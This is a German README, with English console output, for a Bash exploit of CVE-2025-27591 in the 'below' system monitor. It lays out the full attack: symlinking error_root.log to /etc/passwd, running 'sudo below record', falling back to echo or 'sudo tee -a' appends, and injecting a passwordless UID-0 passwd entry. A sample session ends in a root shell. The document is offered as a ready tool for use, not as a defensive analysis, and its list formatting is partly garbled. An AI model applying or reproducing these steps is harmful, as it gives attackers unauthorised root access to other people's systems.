
Ein Bash-basierter Privilegieneskalations-Exploit, der auf das Systemleistungs-Überwachungstool `below` abzielt. Dieser überarbeitete Exploit nutzt eine Symlink-Schwachstelle im Protokollierungsmechanismus, um einen Root-Benutzer in die `/etc/passwd`-Datei einzuschleusen, und erlangt so vollständigen Root-Zugriff.
Ein Bash-basierter Privilege-Escalation-Exploit, der auf das Systemleistungsüberwachungstool below abzielt. Dieser überarbeitete Exploit nutzt eine Symlink-Schwachstelle im Protokollierungsmechanismus aus, um einen Root-Benutzer in /etc/passwd einzuschleusen und so vollständigen Root-Zugriff zu erlangen.
Entdeckt und gemeldet von Matthias Gerstner @ SUSE - Sicherheitshinweis
/usr/bin/below (Facebooks Systemleistungsmonitor)/var/log/below/error_root.log → /etc/passwdDas Überwachungstool below protokolliert Fehler in /var/log/below/error_root.log, wenn es mit erhöhten Rechten ausgeführt wird. Wenn das Log-Verzeichnis weltweit beschreibbar ist, kann ein Angreifer Folgendes tun:
error_root.log auf /etc/passwd erstellenbelow record auslösen, um Fehlermeldungen auf den Symlink zu schreibenDieser Exploit automatisiert den gesamten Prozess mit intelligenten Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
Vorprüfphase
/var/log/below existiertEinrichtungsphase
error_root.log-Datei/var/log/below/error_root.log → /etc/passwdInjektionsphase (Primäre Methode)
sudo below record im Hintergrund/etc/passwd auf nützliche Weise beschädigt habenInjektionsphase (Fallback-Methoden)
echo >> symlink)sudo tee -a)Shell-Startphase
/etc/passwd existiertsu <benutzername>, um eine Root-Shell zu erhaltenDer injizierte /etc/passwd-Eintrag folgt diesem Format:
username::0:0:username:/root:/bin/bash
Aufschlüsselung der Felder:
username: Vom Benutzer bereitgestellter Benutzername (Standard: "0xdtc")::: Leeres Passwortfeld (kein Passwort erforderlich)0:0: UID=0, GID=0 (Root-Rechte)username: GECOS-Feld (Benutzerbeschreibung)/root: Home-Verzeichnis/bin/bash: Anmelde-Shellbelow-Binärdatei ausführt/var/log/below muss weltweit beschreibbar seinsudo-Zugriff haben, um below record auszuführen# Make script executable
chmod +x CVE-2025-27591
# Run the exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
Das Skript enthält mehrere Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben:
Behandlung vorhandener Dateien
Mehrere Injektionsmethoden
below record-Fehlerprotokollierungsudo teeProzessverwaltung
below-ProzesseErneute Ausführungserkennung
/etc/passwd existiert.
├── CVE-2025-27591 # Main exploitation script
├── README.md # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)
Nach erfolgreicher Ausnutzung den Root-Zugriff überprüfen: